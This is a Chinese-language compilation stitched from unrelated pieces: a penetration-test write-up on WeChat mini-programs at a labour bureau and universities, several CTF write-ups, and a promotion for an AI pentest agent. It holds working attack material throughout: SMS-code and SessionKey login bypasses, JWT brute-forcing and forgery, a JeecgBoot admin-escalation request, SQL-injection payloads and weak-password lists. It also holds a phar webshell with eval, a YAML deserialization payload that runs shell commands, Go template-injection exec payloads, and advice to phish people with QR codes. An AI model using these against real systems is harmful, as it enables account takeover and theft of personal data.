然后这个人力资源局的小程序还存在横向爆破绕过漏洞,可以进行双手机号验证码同时进行发送,从而造成逻辑漏洞,下面师傅们可以参考下我具体的绕过技巧,在碰到这样的场景时候,直接去实操即可
类似下面的,常用的就是下面几个:
phone=13888888888,phone=13999999999
phone=13888888888&phone=13999999999
phone=13888888888,13999999999
phone=13888888888&13999999999下面我就直接重新回到刚才上面的抓包步骤,抓取发送短信验证码的数据包,然后去尝试使用上面的绕过方法,看看能不能进行绕过,双手机号验证码同时发送,这里我使用我的卡一和卡二来演示:

我这里使用的就是下面这个思路:
phone=13888888888&13999999999然后就可以看到自己手机短信验证码,收到了来自卡一和卡二一样的验证码,且时间也是一样的:

然后我们这里就可以使用卡二的手机收到的验证码,只需要知道卡一的手机号就行了,那么就可以直接登陆卡一的账号
那么我们后面深入利用就可以去改人力资源局相关站点去搜索电话号码,然后使用这个漏洞就可以越权登陆其他账号,特别是像权限比较高的admin之类的管理员账号
下面是我之前总结的一些验证码爆破的一个思维导图,师傅们可以保存下,对于挖掘企业src和众测的时候,厂家收不收呢,其实可以看看相关的文档,一般都是定义每分钟15/30条以上就收


下面这个漏洞就是给师傅们分享下,在渗透测试中比较容易发现,并且好打的一个漏洞点——SessionKey三要素泄露,这个漏洞在蛮多微信小程序中都存在,且利用的手法不难,看完我这篇文章,师傅们也可以去测试下
这个漏洞需要使用到一个SessionKey三要素解密的工具,有直接下载使用的,也有burpsuit插件,反正原理都是一样的,加解密→替换数据包→未授权登陆
1、首先介绍下使用到的SessionKey解密工具
https://github.com/mrknow001/wx_sessionkey_decrypt/releases/tag/v0.1
这个工具直接双击运行即可,类似下面的:
还有一个就是使用burpsuit的自带插件
https://github.com/mrknow001/BurpAppletPentester/releases/tag/v1.1
直接就可以导入到bp插件中
2、这个微信小程序是目标资产中的一个大学的小程序设备,大学那种预约访谈进出校园、校园招聘那种功能点,像这样的基本上都有那种手机号一键登陆的功能点,像这样的微信小程序手机号一键登陆,很大概率存在SessionKey三要素泄露漏洞,这样的漏洞我之前挖EDUSRC挖了好多,且有一本证书站也就是这个漏洞,但是没有那么明显
3、点击手机号快捷登陆操作,直接使用bp抓包,可以看到数据包中出现了SessionKey三要素泄露:
4、直接一键发送到AppletPentester 插件中
5、直接一键解密即可
6、在信息收集的时候,在一个接口中,发现这个微信小程序里面有很多的一些学校老师信息,比如手机号之类的,然后这里我就带师傅们利用这个SessionKey三要素泄露漏洞,直接未授权登陆管理员老师账号
直接替换成管理员老师176的手机号,然后点击加密
再进行登陆口抓起数据包,替换数据包,然后点击重发数据包即可
就可以直接未授权登陆这个账号了
然后,我这里直接把这个小程序的host拿到web页面去访问,因为我一般打小程序都有这个习惯,看看web端有没有系统,特别是那种登陆系统,弱口令的概率很大
打开web端访问,直接跳转这个页面,特别经典的若依系统页面
这里直接使用刚才的手机号+弱口令密码
直接成功登陆了后台,里面泄露了整个学校的学校个人敏感信息
首先通过微信搜索小程序,找到对应目标资产中的小程序系统
直接点击这个微信小程序,这个时候我们需要一直打开我们的bp抓取小程序的数据包(这个是一个测试小程序的一个好习惯,因为有些接口,包括敏感信息泄露,看历史的数据包很关键),然后看看数据包有没有什么提示,因为这里我的bp安装了HAE,一般重点关注带颜色的数据包
这里我们可以看到bp的历史数据包,显示了多个JSON Web Token也就是大家常说的JWT值,像一般碰到这样的JWT值,我一般都会选择JWT爆破尝试haiy选择有无设置None加密,去进行做一个渗透测试
这里先直接复制到https://jwt.io/ 去看看这个JWT里面的内容,然后去猜测这个paylod校验哪部分
下面我来给师傅们讲解下这个payload代表什么,一些新手师傅可能没有了解过,包括后面进行数据包替换,也是要修改其中的payload值
|字段名|值|说明|
|-|-|-|
|role|appUser|用户角色,表明用户属于应用层普通用户(非管理员)|
|exp|1747377338|令牌过期时间(Unix 时间戳)。通过转换可得具体时间:2025-11-14 11:15:38 UTC|
|userId|xxxxxxxxxxxxxxxxxx|用于标识用户身份|
|user_key|xxxxx-xxxx-xxxx-xxxx |用户密钥或关联密钥(可能用于访问控制或加密)。|
|username|1xxxxxxxxx79|手机号,一键微信登陆的|
这里先使用自己修改的JWT脚本爆破工具,看看能不能爆破出密钥
爆破发现其密钥为123456
然后直接来到刚才JWT的网站,去利用该key构造JWT,可以直接进入后台,下面的勾需要勾上
因为这里我经过测试,这个网站的JWT是对user_key进行校验,所以只要在规定时间内user_key不过期,那么我们就可以拿另外一个手机号进行测试,替换bp抓取登陆口的数据包,然后放包就可以直接登陆别的账号
首先这里需要修改下时间戳,拿这个网站:https://tool.lu/timestamp/ 一般都是改成第二天的时间,不可以早于测试时间
还有就是把username替换下,这里我做测试,替换我的卡二,也就是最后面说93的尾号,因为经过测试,普通用户的role 都是appuser,这里猜测管理员可能是admin
然后直接在小程序登陆口,使用bp抓包,然后劫持数据包,进行替换token值,因为这里经过测试是校验的JWT值
通过不断替换JWT值,然后不断测试放包,放包,最后面可以直接不需要使用账号密码,直接登陆改账号
上面那种情况只需要爆破密钥,或者一些系统框架默认使用一些密钥,没有经过修改,可以直接利用默认key的那种,这里给师傅们讲解下那种设置加密了——None加密,导致直接爆破不了,需要使用JWT工具自动生成None加密的四种不同算法,也可以理解成一种绕过思路
这里需要使用的工具是jwt_tool,下载地址如下:https://github.com/ticarpi/jwt_tool
这里我这个小程序是不存在这个漏洞,但是这里给没有学过这个漏洞的师傅们演示下
python jwt_tool.py JWT值
会直接显示JWT解密以后的内容显示出来
下面使用这个工具来测试 None 算法漏洞
使用下面的这个语法跑这个脚本,⾃动⽣成 4 种 None 算法的变体(⼤⼩写敏感测试),其实也就是使用这四个token去挨个尝试替换,然后发包,看看返回包是否有成功回显数据
python jwt_tool.py JWT值 -X a 
burpsuit返回包总结:
401 Unauthorized → 签名校验失败,可尝试算法混淆或密钥爆破
200 OK → 攻击成功(罕⻅,说明存在⾼危漏洞)
{"error":"alg not allowed"} → 服务端禁⽤ None,可尝试算法改⽤其他攻击向量(如 PS256 → HS256)这次我在测试过程中碰到了OAuth2.0漏洞,是一个企业的微信公众号和一个带宣传性的一个登陆管理网站存在的这个漏洞,直接存在二维码不需要二次确认扫描,目前已经被修复了,但是那种漏洞的站点很明显,截屏那个网站的logo打码也看的出来
所以这里直接给师傅们分享下我之前写的一篇关于OAuth2.0漏洞的文章,在先知社区原创的文章:https://xz.aliyun.com/news/16153
简单来讲就是在登录过程中,比如可以使用第三方应用授权登录,且扫描二维码登录不需要确认校验,直接扫码即可登录,那么就可以使用二维码钓鱼之类的危害,就是文章开头的描述的百度案例一样。
这里进入后台,然后有一个使用微信绑定,扫描二维码的功能
点击立即绑定,然后就会弹出来一个二维码,那么我们就可以拿这个二维码进行一个钓鱼欺骗,让别人扫描二维码,从而绑定别人的微信号
就跟我上面的一个,搞一个钓鱼的二维码模板,然后往一些网安群里面一发,说什么小白免费领取网安教程,只需要扫描此二维码即可(肯定有人扫的)
JeecgBoot是一款基于AIGC、BPM和低代码引擎的AI低代码平台,旨在帮助企业快速实现低代码开发和构建个性化AI应用!前后端分离架构Ant Design&Vue3,SpringBoot,SpringCloud Alibaba,Mybatis-plus,Shiro。强大的代码生成器让前后端代码一键生成,无需写任何代码! 引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE, 帮助Java项目解决80%的重复工作,让开发更多关注业务,快速提高效率 节省成本,同时又不失灵活性!低代码能力:Online表单、Online报表、大屏/仪表盘设计、表单设计、流程设计、报表设计;AI能力:AI应用平台+知识库问答、AI模型管理、AI流程编排、AI聊天、AI建表等,支持各种AI大模型ChatGPT、DeepSeek、Ollama等.
jeecg官网如下:
这里先给新手师傅们分享个还不错的jeecg漏洞利用工具,首先这个工具书GUI图形化工具,还有就是这个工具更新了很大jeecg的历史nday漏洞在里面,使用操作简单
工具下载链接:https://github.com/MInggongK/jeecg-
这里给师傅们演示下,直接把可能存在jeecg漏洞的url导入目标中,然后选择ALL模块,进行检测即可
好了,这里废话不多说了,这里回归这次渗透测试项目中来,再次给师傅们分享下这个漏洞,因为有些刚接触网安的师傅还没有接触这个漏洞,所以这里给大家分享下,这次jeecg漏洞通过以前保留的一些jeecg测试手册,一些jeecg的接口和bp数据包,像这样的jeecg框架系统,都是可以直接拿来测试
1、首先,这个系统漏洞还是小程序,直接搜索对应资产小程序名称,这个系统是该市里面的一个大学的缴费系统
2、打开微信小程序,首先我会直接去打开bp抓包,然后这里随便点击里面的功能点,然后进行看里面的数据包
然后去翻里面的历史数据包,师傅们可以看到下面的table关键字
这个tableNane关键字让我感到兴趣,是因为开发人员在一些做接口命名的时候,不会随意取名称,他这个接口后面的tableNane=xxxx,这里我直接去拿table表名出线多的去尝试猜测下
这里我尝试了几个,但是都没有出信息,还尝试了information_schema.tables表名,都没有什么数据回显
然后我这里还尝试直接把表名置空,但是依然没有什么敏感数据回显

3、这里直接把小程序数据包中的host域名和端口,直接放到web端去访问,然后再尝试别的测试
4、这里使用findsomething插件,去跑下web页面泄露的接口,这里把收集到的接口放到一个1.txt的文件中
5、这里师傅们要是没有思路,最简单的就是就可以直接把findsomething插件泄露的接口利用bp的POST和GET方法都跑一遍即可。但是这里我需要找找我保存的接口里面有没有泄露跟tableName相关的
6、通过findsomething插件,得到了好几个tableName的接口,然后直接使用bp去访问,发现一个接口直接泄露了四百多个数据表格名称
然后每个表里面都泄露了好几百个个人敏感信息,比如身份证、手机号、姓名之类的
这个小程序的一个接口还存在SQL注入漏洞,通过测试,直接可以注入出数据库名称,直接又一个SQL注入到手了
SQL注入payload:updatexml(1,concat(0x7e,user(),0x7e),1)
师傅们,其实测试到这里,这个系统小程序和web端都摸熟悉了,就是jeecg的系统框架,里面的很多接口都是jeecg开发默认的接口名称,但是前面的路径发生了一点变化,没有原班直接拿jeecg的接口使用,但是经过FUZZ测试出来了很多接口,这里给师傅们分享下,我先注册一个账号,然后提权到admin管理员账号的过程。
首先我使用register注册接口,注册一个账号
下面就是提权的一个操作了,需要再次FUZZ接口,因为打jeecg漏洞多的师傅们,都知道,jeecg有很多的接口,像什么注册、查信息,查user_id,查所以账号的token值,还有用户敏感信息等,但是现在很多系统都不会直接拿jeecg都路径接口部署了,多多少少会进行魔改
这里首先需要查询管理员admin的账户ID
然后查询自己刚才创建用户的ID值
然后使用打提权使用的jeecg漏洞poc,如下:
//roleld填写需要提权的角色id userldList填写自己的id
POST xxxxx/jeecg-boot/sys/user/addSysUserRole(jeecg接口,需要自己去尝试,不一定是我这个) HTTP/1.1
Host:
Cookie: cna=Ov9SH4RxGiACAf////9C18zb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjUzNzMyNDMsInVzZXJuYW1lIjoiMTEwMTAyIn0.NXRckymfKdZvEFsDQZ9Jwvk_rU_gVny2Rx6A
Tenant-Id: 0
Origin:
Dnt: 1
Referer:
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: close
Content-Type: application/json
Content-Length: 96
{
"roleId":"xxxxxxxxxxx",
"userIdList":[
"xxxxxxxxxxxxxxxx"
]
}
这样就成功创建了这个系统的admin管理员的账户了,后面的思考就是直接使用创建的账户密码,去尝试爆破登陆其他系统
下面再给大家总结下jeecg的其他打法小技巧
一、常见的接口敏感信息泄露:
/v2/api-docs
/swagger-ui.html
/env
//获取参数信息
/actuator
/mappings
/metrics
/beans
/configprops
/actuator/metrics
/actuator/mappings
/actuator/beans
/actuator/configprops
/actuator/httptrace二、常见jeecg框架接口关键字:
像看到下面的几个关键字,首先需要想到使用jeecg去打,因为很多现在直接把jeecg关键字给魔改了
jeecg/
api/sys/
sys/user三、jeecg的几个常用弱口令:
可以使用下面的弱口令去尝试爆破下登陆接口
admin:123456
jeecg:123456然后还有很多其他的漏洞,这次文章就不一一给师傅们分享了,留着下次有时候给师傅们分享,这次写这篇文章由于之前的渗透测试项目漏洞都修复 了,我才写的这篇文章,所以实属不易,为了给师傅们演示的那么细致,特意去网上现找了一些漏洞实操截图给师傅们,因为之前的漏洞报告没有写的那么详细,这里怕新手师傅看不懂。
这次渗透测试总共提交了四五十个漏洞报告,其中包括很多框架系统的默认弱口令,这个确实让我蛮意外的,还有一些网上的nday,这里面有些老系统也存在,因为测试的资产比较多,所以相对来讲出洞率较高。
最后,希望看完这篇文章的你,也可以挖到心仪的漏洞!
本来早都写好了,官方WP提交截止时间是昨晚九点半,懒得等了,今早发吧,整体题目还是比较有意思的。
php反序列化利用phar协议绕过waf写入webshell
析构函数中根据 $mode 值做不同操作:
'w': 把 $_POST[0] 写入一个随机 .phar 文件(可能用于 PHAR 反序列化)。'r': include($_POST[0]) —— 文件包含漏洞构造利用链
需要绕过正则,常用协议无法使用,这里使用glob协议
Nimbus` 被反序列化 → 析构时调用 `$this->handle()`
→ `$a->handle` 是 `Nimbus` 实例 → 调用 `Nimbus::__invoke()根据利用连构造EXP如下
<?php
class Coral { public $pivot; }
class Nimbus { public $handle; public $ctor; }
class Zephyr { public $target; public $payload; }
@unlink("phar.phar");
$a = new Nimbus();
$a->handle = new Nimbus();
$a->handle->handle = new Zephyr();
$a->handle->handle->target = new Coral();
$a->handle->handle->target->pivot = new Nimbus();
$a->handle->handle->target->pivot->ctor = "DirectoryIterator";
$a->handle->handle->payload = "glob:///*fl*";
echo serialize($a);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php eval(\$_GET[1]); phpinfo(); __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>使用gz压缩绕过WAF
D:\phpstudy_pro\WWW>python 1.py
%1F%8B%08%00%1Em%BEh%02%FF%B3%B1/%C8%28PH-K%CC%D1P%89ww%0D%896%8C%D5%B4V%00%8Ae%E6%A5%E5k%00%99%F1%F1%1E%8E%3E%21%F1%CE%FE%BE%01%9E%3E%AEA%20%21%7B%3B%5E.%1DF%06%06%20b%10d%80%D0%0C%0C%DF%80%D8%DF%CA%CCJ%C9/37%A9%B4X%C9%CA%C8%AA%BA%18%C4%CFH%CCK%C9IU%B2%26%2C%19%95Z%90QY%84%90%2CI%2CJO-%01I%9AZ%299%E7%17%25%E6%28Y%19%82%E4%80%DC%82%CC%B2%FC%12%02%86%FAY%17%5B%99X%29%25%97%E4%17%29%01%99%86%E6VJ.%99E%A9%20~%A5gIjQ%22X%A2%B6%B6%D8%0A%28S%90X%99%93%9F%98%02Vhd%A5%94%9E%93%9Fd%A5%AF%AF%AF%95%96%A3%05T%83d%90%1F%3A%8F%03%E8%F3%92%D4%E2%12%BD%92%8A%12%16%20%5B4w_%06%88%E6%A9%AB%BF%B1%0D%128%60%F9%03%ADO%96%AB%CChk%BDz3%3F%5D%ADrJ%FE%91%DE%2B%C6L%409w%27_%27%00%3C%AA%2BO%88%01%00%00POST上传文件,出发phar反序列化

读取文件

尝试写入webshell,进行命令执行,

可以查看当前目录,发现存在backup的定时文件,创建软连接到backup目录下读取flag文件。

考察点:JWT伪造爆破
yaml文件正则过waf文件上传进行命令执行
任意伪造jwt会报错密钥前缀,构造py爆破密钥
# brute_jwt.py
import jwt
import string
import itertools
# 你的 JWT
jwt_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
# 密钥前缀(直接写 %)
secret_prefix = "@o70xO$0%#qR9#"
# 字符集
charset = string.ascii_letters + string.digits # a-z, A-Z, 0-9
print("🚀 开始爆破密钥...")
for suffix in itertools.product(charset, repeat=2):
secret = secret_prefix + ''.join(suffix)
try:
# 尝试解码
decoded = jwt.decode(jwt_token, secret, algorithms=['HS256'])
print(f"\n✅ 成功!密钥为:{secret}")
print(f"Payload: {decoded}")
break
except jwt.InvalidTokenError:
continue
else:
print("❌ 未找到密钥")获取到密钥构造admin权限的token进行文件上传
# sign_admin.py
import jwt
# 已知信息
secret = "@o70xO$0%#qR9#m0" # 原始密钥(直接写 %)
old_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0Iiwicm9sZSI6InVzZXIifQ.karYCKLm5IhtINWMSZkSe1nYvrhyg5TgsrEm7VR1D0E"
# 新的 payload
new_payload = {
"username": "admin",
"role": "admin"
}
# 使用 HS256 算法重新签名
new_token = jwt.encode(new_payload, secret, algorithm='HS256')
print("✅ 成功生成 admin JWT:")
print(new_token)获取到正确的token上传

文件上传的时候报错

只有内容为python的内容才能直接运行,回显为run,猜测后端代码使用method=python,前端依旧可以上传yaml文件,构造脚本常看回显,先使用ls -l查看当前路径下的文件,在读取f111ag
# send_yaml.py
import requests
url = "http://web-d4c6da270e.challenge.xctf.org.cn/sandbox"
headers = {
"Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70"
}
# 上传 YAML 文件
files = {
'codefile': ('exploit.yaml', '''
run: !!python/object/apply:subprocess.getoutput
- cat /f1111ag*
''', 'text/yaml'),
'mode': (None, 'yaml') # 注意:mode 可能是 'yaml' 或 'yml'
}
r = requests.post(url, files=files, headers=headers)
print("📡 状态码:", r.status_code)
print("📜 响应内容:")
print(r.text)
auth.log下攻击者进行ssh爆破192.168.145.131

实际上搜索出的是257次,实际上答案是258,我说咋一直不对,最后随手改的竟然提交对了,这个应该是答案错了

sshd文件被修改并且重启了ssh服务

(注意系统时区)/bar/log/dnsmasq.log中的dns域名进行检索,最终确定为


通过恢复恢复tmp目录下文件进行解密找到加密的病毒家族kinsing

流量分析比较简单,语法搜索字符串找到flag.txt
返回包是内容,发现flag为sm4的国密算法求解得到flag
<?php
class SM4 {
const ENCRYPT = 1;
private $sk;
private static $FK = [0xA3B1BAC6, 0x56AA3350, 0x677D9197, 0xB27022DC];
private static $CK = [
0x00070E15, 0x1C232A31, 0x383F464D, 0x545B6269,
0x70777E85, 0x8C939AA1, 0xA8AFB6BD, 0xC4CBD2D9,
0xE0E7EEF5, 0xFC030A11, 0x181F262D, 0x343B4249,
0x50575E65, 0x6C737A81, 0x888F969D, 0xA4ABB2B9,
0xC0C7CED5, 0xDCE3EAF1, 0xF8FF060D, 0x141B2229,
0x30373E45, 0x4C535A61, 0x686F767D, 0x848B9299,
0xA0A7AEB5, 0xBCC3CAD1, 0xD8DFE6ED, 0xF4FB0209,
0x10171E25, 0x2C333A41, 0x484F565D, 0x646B7279
];
private static $SboxTable = [
0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x0D, 0x2D, 0xEC,
0x84, 0x9B, 0x1E, 0x87, 0xE0, 0x3E, 0xB5, 0x66, 0x48, 0x02, 0x6C, 0xBB, 0xBB, 0x32, 0x83, 0x27,
0x9E, 0x01, 0x8D, 0x53, 0x9B, 0x64, 0x7B, 0x6B, 0x6A, 0x6C, 0xEC, 0xBB, 0xC4, 0x94, 0x3B, 0x0C,
0x76, 0xD2, 0x09, 0xAA, 0x16, 0x15, 0x3D, 0x2D, 0x0A, 0xFD, 0xE4, 0xB7, 0x37, 0x63, 0x28, 0xDD,
0x7C, 0xEA, 0x97, 0x8C, 0x6D, 0xC7, 0xF2, 0x3E, 0x1A, 0x71, 0x1D, 0x29, 0xC5, 0x89, 0x6F, 0xB7,
0x62, 0x0E, 0xAA, 0x18, 0xBE, 0x1B, 0xFC, 0x56, 0x36, 0x24, 0x07, 0x82, 0xFA, 0x54, 0x5B, 0x40,
0x8F, 0xED, 0x1F, 0xDA, 0x93, 0x80, 0xF9, 0x61, 0x1C, 0x70, 0xC3, 0x85, 0x95, 0xA9, 0x79, 0x08,
0x46, 0x29, 0x02, 0x3B, 0x4D, 0x83, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x1A, 0x47, 0x5C, 0x0D, 0xEA,
0x9E, 0xCB, 0x55, 0x20, 0x15, 0x8A, 0x9A, 0xCB, 0x43, 0x0C, 0xF0, 0x0B, 0x40, 0x58, 0x00, 0x8F,
0xEB, 0xBE, 0x3D, 0xC2, 0x9F, 0x51, 0xFA, 0x13, 0x3B, 0x0D, 0x90, 0x5B, 0x6E, 0x45, 0x59, 0x33
];
public function __construct($key) {
$this->setKey($key);
}
public function setKey($key) {
if (strlen($key) != 16) {
throw new Exception("SM4");
}
$key = $this->strToIntArray($key);
$k = array_merge($key, [0, 0, 0, 0]);
for ($i = 0; $i < 4; $i++) {
$k[$i] ^= self::$FK[$i];
}
for ($i = 0; $i < 32; $i++) {
$k[$i + 4] = $k[$i] ^ $this->CKF($k[$i + 1], $k[$i + 2], $k[$i + 3], self::$CK[$i]);
$this->sk[$i] = $k[$i + 4];
}
}
public function encrypt($plaintext) {
$len = strlen($plaintext);
$padding = 16 - ($len % 16);
$plaintext .= str_repeat(chr($padding), $padding);
$ciphertext = '';
for ($i = 0; $i < strlen($plaintext); $i += 16) {
$block = substr($plaintext, $i, 16);
$ciphertext .= $this->cryptBlock($block, self::ENCRYPT);
}
return $ciphertext;
}
private function cryptBlock($block, $mode) {
$x = $this->strToIntArray($block);
for ($i = 0; $i < 32; $i++) {
$roundKey = $this->sk[$i];
$x[4] = $x[0] ^ $this->F($x[1], $x[2], $x[3], $roundKey);
array_shift($x);
}
$x = array_reverse($x);
return $this->intArrayToStr($x);
}
private function F($x1, $x2, $x3, $rk) {
return $this->T($x1 ^ $x2 ^ $x3 ^ $rk);
}
private function CKF($a, $b, $c, $ck) {
return $a ^ $this->T($b ^ $c ^ $ck);
}
private function T($x) {
return $this->L($this->S($x));
}
private function S($x) {
$result = 0;
for ($i = 0; $i < 4; $i++) {
$byte = ($x >> (24 - $i * 8)) & 0xFF;
$result |= self::$SboxTable[$byte] << (24 - $i * 8);
}
return $result;
}
private function L($x) {
return $x ^ $this->rotl($x, 2) ^ $this->rotl($x, 10) ^ $this->rotl($x, 18) ^ $this->rotl($x, 24);
}
private function rotl($x, $n) {
return (($x << $n) & 0xFFFFFFFF) | (($x >> (32 - $n)) & 0xFFFFFFFF);
}
private function strToIntArray($str) {
$result = [];
for ($i = 0; $i < 4; $i++) {
$offset = $i * 4;
$result[$i] =
(ord($str[$offset]) << 24) |
(ord($str[$offset + 1]) << 16) |
(ord($str[$offset + 2]) << 8) |
ord($str[$offset + 3]);
}
return $result;
}
private function intArrayToStr($array) {
$str = '';
foreach ($array as $int) {
$str .= chr(($int >> 24) & 0xFF);
$str .= chr(($int >> 16) & 0xFF);
$str .= chr(($int >> 8) & 0xFF);
$str .= chr($int & 0xFF);
}
return $str;
}
}
try {
$key = "a8a58b78f41eeb6a";
$sm4 = new SM4($key);
$plaintext = "flag";
$ciphertext = $sm4->encrypt($plaintext);
echo base64_encode($ciphertext) ; //VCWBIdzfjm45EmYFWcqXX0VpQeZPeI6Qqyjsv31yuPTDC80lhFlaJY2R3TintdQu
} catch (Exception $e) {
echo $e->getMessage() ;
}
?>Ai可以直接出,入口

关键函数是sub_13E1 以及常量 byte_2120

以及函数 sub_12A9、sub_1313、 sub_12DE 和常量 byte_2020

这些关键的给 AI 就直接出结果了

考点: 微信小程序解包,map 文件解包,wasm 还原
是一个微信小程序用 wxapkg 解包 ,然后把解包得到的 chunk_0.appservice.js.map 再次解包

可以发现核心在 utils/validator.js 中 ,在 util 目录发现了 validator.wasm ,然后通过工具 wasm-decompile
export memory a(initial: 258, max: 258);
data d_a(offset: 1024) =
"\ff\f5\f8\fe\e2\ff\f8\fc\a9\fb\ab\ae\fa\ad\ac\a8\fa\ae\ab\a1\a1\af\ae\f8"
"\ac\af\ae\fc\a1\fa\a8\fb\fb\ad\fc\ac\aa\e4";
export function c(a:ubyte_ptr):int { // func0
var e:int;
var b:int_ptr;
var d:int;
var c:ubyte_ptr;
if ({
d = a;
if (eqz(d & 3)) goto B_c;
0;
if (eqz(a[0])) goto B_a;
loop L_d {
a = a + 1;
if (eqz(a & 3)) goto B_c;
if (a[0]) continue L_d;
}
goto B_b;
label B_c:
loop L_e {
b = a;
a = b + 4;
if (
((16843008 - (e = b[0]) | e) & -2139062144) == -2139062144) continue L_e;
}
loop L_f {
a = b;
b = a + 1;
if (a[0]) continue L_f;
}
label B_b:
a - d;
label B_a:
} !=
38) {
return 0
}
loop L_h {
a = c[1024] ^ (c + d)[0]:byte;
b = a == 153;
if (a != 153) goto B_i;
c = c + 1;
if (c != 38) continue L_h;
label B_i:
}
return b;
}
export function b() { // func1
}把这两个代码给AI就可以直接得到 flag

考点:对称加密算法和离散对数问题
由于有根据源码直接推出解密脚本
from hashlib import md5
from Crypto.Cipher import AES
p =
115792089237316195423570985008687907853269984665640564039457584007913129639
747
F = GF(p)
Q = (123456789, 987654321, 135792468, 864297531)
N_Q = F(sum(x * x for x in Q))
R = (
535805042719399545796962826381600584293083019277531395431476058825743363271
45,
799913182452098376229457194675627969511376052122949799764791997934539620908
91,
531268698891810405870372104622761160960325946775601453062691481560347571601
28,
973680242303063998595227832922465096998302542946496684346049712134964678571
55
)
N_R = F(sum(x * x for x in R))
try:
secret = discrete_log(N_R, N_Q, bounds=(0, 2^50))
print("[+] Secret found:", secret)
except Exception as e:
print("[-] discrete_log failed:", e)
secret = 895942422329
key = md5(str(secret).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
try:
flag = cipher.decrypt(encrypted_flag)
print("[+] Flag:", flag)
except Exception as e:
print("[-] failed:", _e)SSTi模板注入,golang的SSTI,执行
{{.}}
回显
map[B64Decode:0x6ee380 exec:0x6ee120]
直接执行
{{exec "id"}}

能够执行id,但是其余的其它命令基本都无法执行,猜测后端代码WAF拦截直接输出原字符串,尝试绕过WAF
{{B64Decode "aGVsbG8="}}
可以成功回显hello,直接使用B64Decode绕过,构造payload读取flag
{{B64Decode "Y2F0IC9mbGFn" | exec}}

https://github.com/Ed1s0nZ/CyberStrikeAI
作为安全工程师,我们都经历过这样的场景:面对一个新的目标系统,我们需要在数十个安全工具之间不断切换,记忆各种复杂的命令行参数,手动分析海量的扫描结果,然后在不同的工具输出中寻找关联性。这种工作方式不仅效率低下,更严重的是,我们往往在工具的使用上花费了太多精力,反而减少了对安全威胁本质的思考时间。
CyberStrikeAI不是要取代安全工程师,而是要成为工程师的智能助手。基于一个朴素但强大的想法:用技术手段解决技术问题,让AI处理重复性工作,让人专注于创造性分析。




// 核心架构简示
Agent Loop (AI决策引擎)
↓
MCP Server (工具调度中心)
↓
Security Executor (命令执行层)
↓
98+ Security Tools (工具生态)技术栈选择背后的思考:
传统方式:
# 1. 端口扫描
nmap -sS -sV -O 192.168.1.0/24
# 2. Web服务识别
httpx -l targets.txt -title -status-code
# 3. 漏洞扫描
nuclei -l targets.txt -t /nuclei-templates/
# 4. 手动分析结果,决定下一步...CyberStrikeAI方式:
"对192.168.1.0/24网段进行全面的安全评估,重点关注Web服务漏洞"系统自动完成:
我集成了98+个经过社区验证的安全工具,包括:
每个工具都通过YAML配置文件进行标准化封装:
name: "nmap"
command: "nmap"
args: ["-sT", "-sV", "-sC"]
description: "网络扫描工具,用于发现网络主机、开放端口和服务"
parameters:
- name: "target"
type: "string"
description: "目标IP地址或域名"
required: trueAI在系统中的角色不是替代工具,而是智能调度器和结果分析器:
// AI决策流程
1. 理解用户自然语言请求
2. 分析目标特征和测试需求
3. 选择最适合的工具组合
4. 动态调整参数优化扫描效果
5. 解析工具输出,提取关键信息
6. 基于发现决定后续测试路径系统提供完整的执行监控:
# 查看工具执行状态
GET /api/monitor
# 实时查看漏洞统计
{
"total": 23,
"severityCount": {
"critical": 2,
"high": 5,
"medium": 10,
"low": 6
}
}需求:快速对目标企业进行外围渗透测试
传统方式:手动信息收集 → 工具链执行 → 结果整理 (耗时:4-6小时)
CyberStrikeAI:单次对话描述测试目标 → 自动执行完整流程 (耗时:30-60分钟)
需求:批量验证SRC提交的漏洞
传统方式:逐个手动测试,重复性工作量大
CyberStrikeAI:批量导入目标 → 自动匹配检测方案 → 生成验证报告
需求:定期对资产进行安全巡检
传统方式:编写脚本,定时执行,人工分析
CyberStrikeAI:配置巡检策略 → 自动执行 → 差异对比 → 告警通知
